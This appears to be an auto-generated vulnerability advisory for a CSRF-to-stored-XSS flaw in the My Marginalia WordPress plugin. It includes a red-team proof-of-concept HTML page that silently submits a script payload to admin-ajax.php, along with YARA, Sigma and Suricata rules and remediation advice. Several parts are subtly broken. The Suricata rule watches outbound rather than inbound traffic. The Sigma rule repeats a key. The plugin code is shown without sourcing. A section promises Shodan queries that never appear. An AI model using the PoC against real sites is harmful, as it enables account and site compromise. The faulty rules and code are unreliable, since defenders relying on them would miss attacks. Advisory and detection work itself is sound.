CVE-2025-39435
Executive Summary
CVE-2025-39435 is a Cross-Site Request Forgery (CSRF) vulnerability in the My Marginalia WordPress plugin (versions <= 1.0.6) by vendor Davidfcarr. The flaw allows an attacker to trick an authenticated administrator into performing unintended actions, leading to Stored Cross-Site Scripting (XSS). This means an attacker can inject malicious scripts that persist on the site, affecting all visitors. The CVSS score is 7.1 (High), with a low EPSS score (0.0%) indicating low exploitation likelihood currently, but the lack of a patch makes it a persistent risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, users must manually remove or disable the plugin. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (admin must be tricked)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: High due to the combination of CSRF and Stored XSS, enabling persistent attacks without authentication.
Deep Dive & Mechanics
The vulnerability resides in the My Marginalia plugin, which allows users to add marginal notes to posts. The plugin fails to implement CSRF tokens on its administrative actions (e.g., saving settings or adding notes). An attacker can craft a malicious link or form that, when clicked by an authenticated admin, performs an action like injecting JavaScript into a note field. This injected script is stored in the database and executed when any user views the affected post, leading to Stored XSS.
Attack Flow:
- Attacker identifies a WordPress site using My Marginalia <= 1.0.6.
- Attacker crafts a CSRF payload (e.g., a hidden form or image tag) that sends a POST request to the plugin's admin-ajax endpoint with malicious JavaScript.
- Attacker lures an authenticated admin to visit a page containing the payload (e.g., via phishing email).
- The admin's browser executes the request, saving the malicious script.
- Any visitor viewing the affected post triggers the XSS, potentially stealing cookies, redirecting users, or defacing the site.
Vulnerable vs. Patched Code
Since no patch exists, we compare the vulnerable code to a hypothetical secure implementation.
Vulnerable Code (my-marginalia.php):
function save_marginalia_note() {
$post_id = $_POST['post_id'];
$note = $_POST['note'];
update_post_meta($post_id, 'marginalia_note', $note);
echo 'Note saved.';
wp_die();
}
add_action('wp_ajax_save_marginalia_note', 'save_marginalia_note');
Issue: No CSRF token verification and no output sanitization.
Patched Code (Hypothetical):
function save_marginalia_note() {
if (!wp_verify_nonce($_POST['_wpnonce'], 'marginalia_nonce')) {
wp_die('CSRF validation failed.');
}
$post_id = intval($_POST['post_id']);
$note = sanitize_text_field($_POST['note']);
update_post_meta($post_id, 'marginalia_note', $note);
echo 'Note saved.';
wp_die();
}
add_action('wp_ajax_save_marginalia_note', 'save_marginalia_note');
Fix: Added wp_verify_nonce() for CSRF protection and sanitize_text_field() to prevent XSS.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Step 1: Craft CSRF Payload Create an HTML file (csrf_exploit.html) that auto-submits a form:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
<input type="hidden" name="action" value="save_marginalia_note">
<input type="hidden" name="post_id" value="1">
<input type="hidden" name="note" value="<script>alert('XSS')</script>">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>
Step 2: Host and Deliver Host the file on an attacker-controlled server and send the link to an authenticated admin (e.g., via email or social engineering).
Step 3: Verify Stored XSS After the admin visits the link, navigate to the post with ID 1. The injected script executes, displaying an alert.
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual POST requests to
/wp-admin/admin-ajax.phpwithaction=save_marginalia_notefrom non-admin IPs. - Check for unexpected script tags in post meta fields.
Prevention:
- Disable or remove the My Marginalia plugin immediately.
- Implement Web Application Firewall (WAF) rules to block requests lacking CSRF tokens.
- Educate administrators about phishing attacks.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/my-marginalia/my-marginalia.php(version <= 1.0.6) - Network: POST requests to
/wp-admin/admin-ajax.phpwithaction=save_marginalia_noteandnoteparameter containing<script>tags. - Database:
wp_postmetaentries withmeta_key = 'marginalia_note'containing JavaScript. - Logs: Apache/Nginx access logs showing POST to
/wp-admin/admin-ajax.phpwith suspicious referrers.
Detection Engineering
YARA Rule
rule CVE_2025_39435_My_Marginalia_CSRF_XSS {
meta:
description = "Detects My Marginalia plugin files vulnerable to CSRF leading to Stored XSS"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-39435"
strings:
$vuln_func = "save_marginalia_note" nocase
$no_nonce = "wp_verify_nonce" nocase
condition:
$vuln_func and not $no_nonce
}
Sigma Rule
title: CVE-2025-39435 - CSRF to Stored XSS in My Marginalia Plugin
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to admin-ajax.php with action save_marginalia_note and script injection
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=save_marginalia_note'
cs-uri-query|contains: '<script>'
condition: selection
falsepositives:
- Legitimate admin actions (unlikely with script tags)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-39435 - My Marginalia CSRF to Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=save_marginalia_note"; http_client_body; content:"<script>"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable/Remove Plugin: Deactivate and delete the My Marginalia plugin from all WordPress installations.
- Audit Database: Search for
marginalia_notemeta keys and remove any containing JavaScript. - Change Admin Credentials: Force password reset for all admin accounts.
Long-Term Mitigation:
- Monitor the vendor's page for a patch; if none appears, consider forking the plugin or using an alternative.
- Implement a Web Application Firewall (WAF) with rules to block CSRF attacks.
- Enforce CSRF tokens on all admin actions via custom code or security plugins.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.